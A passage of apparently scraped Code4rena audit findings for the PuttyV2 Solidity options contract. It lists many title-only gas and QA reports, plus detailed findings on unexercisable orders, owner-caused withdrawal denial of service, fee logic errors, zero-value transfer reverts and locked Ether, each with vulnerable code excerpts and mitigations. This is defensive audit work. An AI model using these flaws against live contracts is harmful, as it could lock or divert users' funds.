both parties: the taker loses premium without possible exercise, the maker loses the locked ERC20s and ERC721s. This bug is not suitable for exploitation to get a 'free' premium by creating not exercisable options, because the maker will lose the ERC20s and ERC721s without getting any strike. In that sense it is similar but different issue to the `Create a short put order with zero tokenAmount makes the option impossible to exercise`, therefore reported separately. ## Proof of Concept - [proof of concept](https://gist.github.com/zzzitron/9f83516255fa6153a4deb04f2163a0b3#file-2022-07-puttyv2-t-sol-L153-L202) - [reference case](https://gist.github.com/zzzitron/9f83516255fa6153a4deb04f2163a0b3#file-2022-07-puttyv2-t-sol-L194-L21://gist.github.com/zzzitron/9f83516255fa6153a4deb04f2163a0b3#file-2022-07-puttyv2-t-sol-L204-L226) The proof of concept shows a scenario where babe makes an short call order with non empty `floorTokens` array. Bob filled the order, and now he has long call option NFT. He wants to exercise his option and calls `exercise`. There are two cases. - case 1: he calls exercise with empty `floorAssetTokenIds` array - case 2: he calls exercise with non-empty `floorAssetTokenIds` array with matching length to the `orders.floorTokens` In the case1, [the input `floorAssetTokenIds` were checked to be empty for put orders](https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L406), and his call passes this requirement. But eventually `_transferFloorsIn` was called and he gets `Index out of bounds` error, because `floorTokens` is not empty [which does not match with empty `floorAssetTokenIds`](https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L627-L629). ```solidity // case 1 // PuttyV2.sol: _transferFloorsIn called by exercise // The floorTokens and floorTokenIds do not match the lenghts // floorTokens.length is not zero, while floorTokenIds.length is zero ERC721(floorTokens[i]).safeTransferFrom(from, address(this), floorTokenIds[i]); ``` In the case2, [the input `floorAssetTokenIds` were checked to be empty for put orders](https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L406), but it is not empty. So it reverts. ``` // case2 // PuttyV2.sol: exercise // non empty floorAssetTokenIds array is passed for put option, it will revert !order.isCall ? require(floorAssetTokenIds.length == order.floorTokens.length, \"Wrong amount of floor tokenIds\") : require(floorAssetTokenIds.length == 0, \"Invalid floor tokenIds length\"); ``` After the option is expired, the maker - babe is trying to withdraw but fails due to the [same issue with the case1](https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L516). ```solidity // maker trying to withdraw // PuttyV2.sol: withdraw _transferFloorsOut(order.floorTokens, positionFloorAssetTokenIds[floorPositionId]); ``` Note on the poc: - The [test for case1 is commented out](https://gist.github.com/zzzitron/9f83516255fa6153a4deb04f2163a0b3#file-2022-07-puttyv2-t-sol-L182-L183) because foundry could not catch the revert. But by running the test with un-commenting these lines will show that the call reverts with `Index out of bounds`. - For the same reason the [withdraw](https://gist.github.com/zzzitron/9f83516255fa6153a4deb04f2163a0b3#file-2022-07-puttyv2-t-sol-L199-L200) also is commented out - The reference case just shows that it works as intended when the order does not contain non-empty `floorTokens`. ## Tools Used foundry ## Recommended Mitigation Steps It happens because the [`fillOrder` does not ensure](https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L296-L298) the `order.floorTokens` to be empty when the order is short call. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/366", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/364", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/358", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/351", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Use of Solidity version 0.8.13 which has two known issues applicable to PuttyV2", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/348", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed", "old-submission-method"], "target": "2022-06-putty-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L2 # Vulnerability details The solidity version 0.8.13 has below two issues applicable to PuttyV2 1) Vulnerability related to ABI-encoding. ref : https://blog.soliditylang.org/2022/05/18/solidity-0.8.14-release-announcement/ This vulnerability can be misused since the function hashOrder() and hashOppositeOrder() has applicable conditions. \"...pass a nested array directly to another external function call or use abi.encode on it.\" 2) Vulnerability related to 'Optimizer Bug Regarding Memory Side Effects of Inline Assembly' ref : https://blog.soliditylang.org/2022/06/15/solidity-0.8.15-release-announcement/ PuttyV2 inherits solidity contracts from openzeppelin and solmate, and both these uses inline assembly, and optimization is enabled while compiling. ## Recommended Mitigation Steps Use recent Solidity version 0.8.15 which has the fix for these issues "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/344", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/343", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/340", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Payable admin functions", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/338", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "old-submission-method"], "target": "2022-06-putty-findings", "body": "Payable admin functions"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/337", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/335", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/334", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/331", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/330", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/329", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Putty position tokens may be minted to non ERC721 receivers", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/327", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-06-putty-findings", "body": "Putty position tokens may be minted to non ERC721 receivers"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/320", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/317", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/315", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/314", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/313", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/312", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/309", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/307", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/306", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method", "high quality QA"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/304", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "[Denial-of-Service] Contract Owner Could Block Users From Withdrawing Their Strike", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/296", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed", "old-submission-method"], "target": "2022-06-putty-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L500 # Vulnerability details ## Proof-of-Concept When users withdraw their strike escrowed in Putty contract, Putty will charge a certain amount of fee from the strike amount. The fee will first be sent to the contract owner, and the remaining strike amount will then be sent to the users. [https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L500](https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L500) ```solidity function withdraw(Order memory order) public { ..SNIP.. // transfer strike to owner if put is expired or call is exercised if ((order.isCall && isExercised) || (!order.isCall && !isExercised)) { // send the fee to the admin/DAO if fee is greater than 0% uint256 feeAmount = 0; if (fee > 0) { feeAmount = (order.strike * fee) / 1000; ERC20(order.baseAsset).safeTransfer(owner(), feeAmount); } ERC20(order.baseAsset).safeTransfer(msg.sender, order.strike - feeAmount); return; } ..SNIP.. } ``` There are two methods on how the owner can deny user from withdrawing their strike amount from the contract #### Method #1 - Set the `owner()` to `zero` address Many of the token implementations do not allow transfer to `zero` address ([Reference](https://github.com/d-xo/weird-erc20#revert-on-transfer-to-the-zero-address)). Popular ERC20 implementations such as the following Openzeppelin's ERC20 implementation do not allow transfer to `zero` address, and will revert immediately if the `to` address (recipient) points to a `zero` address during a transfer. [https://github.com/OpenZeppelin/openzeppelin-contracts/blob/5fbf494511fd522b931f7f92e2df87d671ea8b0b/contracts/token/ERC20/ERC20.sol#L226](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/5fbf494511fd522b931f7f92e2df87d671ea8b0b/contracts/token/ERC20/ERC20.sol#L226) ```solidity function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), \"ERC20: transfer from the zero address\"); require(to != address(0), \"ERC20: transfer to the zero address\"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, \"ERC20: transfer amount exceeds balance\"); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } ``` It is possible for the owner to transfer the ownership to a `zero` address, thus causing the fee transfer to the contract owner to always revert. When the fee transfer always reverts, no one can withdraw their strike amount from the contract. This issue will affect all orders that adopt a `baseAsset` that reverts when transferring to `zero` address. #### Method #2 - If `baseAsset` is a ERC777 token > Note: `owner()` could point to a contract or EOA account. By pointing to a contract, the contract could implement logic to revert whenever someone send tokens to it. ERC777 contains a `tokensReceived` hook that will notify the recipient whenever someone sends some tokens to the recipient . Assuming that the `baseAsset` is a ERC77 token, the recipient, which is the `owner()` in this case, could always revert whenever `PuttyV2` contract attempts to send the fee to recipient. This will cause the `withdraw` function to revert too. As a result, no one can withdraw their strike amount from the contract. This issue will affect all orders that has ERC777 token as its `baseAsset`. ## Impact User cannot withdraw their strike amount and their asset will be stuck in the contract. ## Recommended Mitigation Steps It is recommended to adopt a [withdrawal pattern](https://docs.soliditylang.org/en/v0.8.15/common-patterns.html#withdrawal-from-contracts) for retrieving owner fee. Instead of transferring the fee directly to owner address during withdrawal, save the amount of fee that the owner is entitled to in a state variable. Then, implement a new function that allows the owner to withdraw the fee from the `PuttyV2` contract. Consider the following implementation. In the following example, there is no way for the owner to perform denial-of-user because the outcome of the fee transfer (succeed or fail) to the owner will not affect the user's strike withdrawal process. This will give users more assurance and confidence about the security of their funds stored within Putty. ```solidity mapping(address => uint256) public ownerFees; function withdraw(Order memory order) public { ..SNIP.. // transfer strike to owner if put is expired or call is exercised if ((order.isCall && isExercised) || (!order.isCall && !isExercised)) { // send the fee to the admin/DAO if fee is greater than 0% uint256 feeAmount = 0; if (fee > 0) { feeAmount = (order.strike * fee) / 1000; ownerFees[order.baseAsset] += feeAmount } ERC20(order.baseAsset).safeTransfer(msg.sender, order.strike - feeAmount); return; } ..SNIP.. } function withdrawFee(address baseAsset) public onlyOwner { uint256 _feeAmount = ownerFees[baseAsset]; ownerFees[baseAsset] = 0; ERC20(baseAsset).safeTransfer(owner(), _feeAmount); } ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/293", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/292", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/289", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/288", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Put options are free of any fees", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/285", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-06-putty-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L450-L451 # Vulnerability details ## Impact Fees are expected to be paid whenever an option is exercised (as per the function comment on [L235](https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L235)). ### Put options If a put option is exercised, the exerciser receives the strike price (initially deposited by the short position holder) denominated in `order.baseAsset`. ### Call options If a call option is exercised, the exerciser sends the strike price to Putty and the short position holder is able to withdraw the strike amount. However, the current protocol implementation is missing to deduct fees for exercised put options. Put options are free of any fees. ## Proof of Concept The protocol fee is correctly charged for exercised calls: [PuttyV2.withdraw](https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L494-L506) ```solidity // transfer strike to owner if put is expired or call is exercised if ((order.isCall && isExercised) || (!order.isCall && !isExercised)) { // send the fee to the admin/DAO if fee is greater than 0% uint256 feeAmount = 0; if (fee > 0) { feeAmount = (order.strike * fee) / 1000; ERC20(order.baseAsset).safeTransfer(owner(), feeAmount); // @audit DoS due to reverting erc20 token transfer (weird erc20 tokens, blacklisted or paused owner; erc777 hook on owner receiver side can prevent transfer hence reverting and preventing withdrawal) - use pull pattern @high // @audit zero value token transfers can revert. Small strike prices and low fee can lead to rounding down to 0 - check feeAmount > 0 @high // @audit should not take fees if renounced owner (zero address) as fees can not be withdrawn @medium } ERC20(order.baseAsset).safeTransfer(msg.sender, order.strike - feeAmount); // @audit fee should not be paid if strike is simply returned to short owner for expired put @high return; } ``` Contrary, put options are free of any fees: [PuttyV2.sol#L450-L451](https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L450-L451) ```solidity // transfer strike from putty to exerciser ERC20(order.baseAsset).safeTransfer(msg.sender, order.strike); ``` ## Tools Used Manual review ## Recommended mitigation steps Charge fees also for exercised put options. "}, {"title": "Options with a small strike price will round down to 0 and can prevent assets to be withdrawn", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/283", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-06-putty-findings", "body": "# Lines of code\r \r https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L499-L500\r \r \r # Vulnerability details\r \r ## Impact\r \r Certain ERC-20 tokens do not support zero-value token transfers and revert. Using such a token as a `order.baseAsset` for a rather small option strike and a low protocol fee rate can lead to rounding down to 0 and prevent asset withdrawals for those positions.\r \r ## Proof of Concept\r \r [PuttyV2.sol#L499-L500](https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L499-L500)\r \r ```solidity\r // send the fee to the admin/DAO if fee is greater than 0%\r uint256 feeAmount = 0;\r if (fee > 0) {\r feeAmount = (order.strike * fee) / 1000;\r ERC20(order.baseAsset).safeTransfer(owner(), feeAmount); // @audit-info zero-value ERC20 token transfers can revert for certain tokens\r }\r ```\r \r Some ERC20 tokens revert for zero-value transfers (e.g. `LEND`). If used as a `order.baseAsset` and a small strike price, the fee token transfer will revert. Hence, assets and the strike can not be withdrawn and remain locked in the contract.\r \r See [Weird ERC20 Tokens - Revert on Zero Value Transfers](https://github.com/d-xo/weird-erc20#revert-on-zero-value-transfers)\r \r **Example:**\r \r - `order.baseAsset` is one of those weird ERC-20 tokens\r - `order.strike = 999` (depending on the token decimals, a very small option position)\r - `fee = 1` (0.1%)\r \r $((999 * 1) / 1000 = 0.999)$ rounded down to 0 -> zero-value transfer reverting transaction\r \r ## Tools Used\r \r Manual review\r \r ## Recommended mitigation steps\r \r Add a simple check for zero-value token transfers:\r \r ```solidity\r // send the fee to the admin/DAO if fee is greater than 0%\r uint256 feeAmount = 0;\r if (fee > 0) {\r feeAmount = (order.strike * fee) / 1000;\r \r if (feeAmount > 0) {\r ERC20(order.baseAsset).safeTransfer(owner(), feeAmount);\r }\r }\r ```\r \r \r "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/281", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/280", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/279", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/277", "labels": ["bug", "question", "QA (Quality Assurance)", "high quality QA"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/274", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/272", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/271", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/270", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "Fee is being deducted when Put is expired and not when it is exercised.", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/269", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-06-putty-findings", "body": "# Lines of code\r \r https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L495-L503\r https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L451\r \r \r # Vulnerability details\r \r ## Impact\r Fee is being deducted when Put is expired and not when it is exercised in `PuttyV2.sol`.\r Comment section of the `setFee()` function mentions `\"fee rate that is applied on exercise\"` which signifies that the fee amount is meant to be deducted from strike only when a position is being exercised (or has been exercised).\r \r But, in function `withdraw()` at [PuttyV2.solL#495-L503](https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L495-L503) the fee is being deducted even when the Put position is not exercised and has expired. \r \r Also, in function `exercise()` there is no fee deduction from the `order.strike` when the Put position is exercised and the strike is being transferred to the caller ([PuttyV2.solL#451](https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L451)).\r \r This unintended deduction from assets of Put Shorter and the absence of fee deduction from strike when Put is exercised are directly impacting the assets and therefore marked as Medium Risk.\r \r ## Proof of Concept\r `if` condition present at [PuttyV2.solL#495](https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L495) passes if `order.isCall` is `false` and `isExercised` is false.\r \r `feeAmount` becomes positive if `fee > 0` and it gets deducted from the `order.strike` which gets transferred to `msg.sender` at line number [PuttyV2.solL#503](https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L503).\r \r ## Tools Used\r Manual Analysis\r \r ## Recommended Mitigation Steps\r 1. Update `if` condition at [PuttyV2.sol#L498](https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L498) with `(fee > 0 && order.isCall && isExercised)`\r \r 2. Add feeAmount calculation and deduction after put is exercised and strike is transferred at [PuttyV2.sol#L451](https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L451) as follows:\r \r ```solidity\r uint256 feeAmount = 0;\r if (fee > 0) {\r feeAmount = (order.strike * fee) / 1000;\r ERC20(order.baseAsset).safeTransfer(owner(), feeAmount);\r }\r ERC20(order.baseAsset).safeTransfer(msg.sender, order.strike - feeAmount);\r ```\r \r "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/268", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/264", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/262", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/261", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/255", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/241", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/240", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/239", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/238", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/237", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "The order maker can cancel the order, after it has been filled.", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/236", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-06-putty-findings", "body": "The order maker can cancel the order, after it has been filled."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/235", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/234", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/233", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/230", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/229", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-06-putty-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/228", "labels": ["bug", "QA (Quality Assurance)", "old-submission-method"], "target": "2022-06-putty-findings", "body": "QA Report"}, {"title": "Unbounded loops may cause `exercise()`s and `withdraw()`s to fail ", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/227", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged", "old-submission-method"], "target": "2022-06-putty-findings", "body": "Unbounded loops may cause `exercise()`s and `withdraw()`s to fail "}, {"title": "`fillOrder()` and `exercise()` may lock Ether sent to the contract, forever", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/226", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed", "old-submission-method"], "target": "2022-06-putty-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L324 https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L338 https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L436 # Vulnerability details ## Impact `fillOrder()` and `exercise()` have code paths that require Ether to be sent to them (e.g. using WETH as the base asset, or the provision of the exercise price), and therefore those two functions have the `payable` modifier. However, there are code paths within those functions that do not require Ether. Ether passed to the functions, when the non-Ether code paths are taken, is locked in the contract forever, and the sender gets nothing extra in return for it. ## Proof of Concept Ether can't be pulled from the `order.maker` during the filling of a long order, so `msg.value` shouldn't be provided here: ```solidity File: contracts/src/PuttyV2.sol #1 323 if (order.isLong) { 324 ERC20(order.baseAsset).safeTransferFrom(order.maker, msg.sender, order.premium); 325 } else { ``` https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L323-L325 If the `baseAsset` isn't WETH during order fulfillment, `msg.value` is unused: ```solidity File: contracts/src/PuttyV2.sol #2 337 } else { 338 ERC20(order.baseAsset).safeTransferFrom(msg.sender, order.maker, order.premium); 339 } ``` https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L337-L339 Same for the exercise of call options: ```solidity File: contracts/src/PuttyV2.sol #3 435 } else { 436 ERC20(order.baseAsset).safeTransferFrom(msg.sender, address(this), order.strike); 437 } ``` https://github.com/code-423n4/2022-06-putty/blob/3b6b844bc39e897bd0bbb69897f2deff12dc3893/contracts/src/PuttyV2.sol#L435-L437 ## Tools Used Code inspection ## Recommended Mitigation Steps Add a `require(0 == msg.value)` for the above three conditions "}, {"title": "Put option sellers can prevent exercise by specifying zero amounts, or non-existant tokens", "html_url": "https://github.com/code-423n4/2022-06-putty-findings/issues/223", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed", "old-submission-method"], "target": "2022-06-putty-findings", "body": 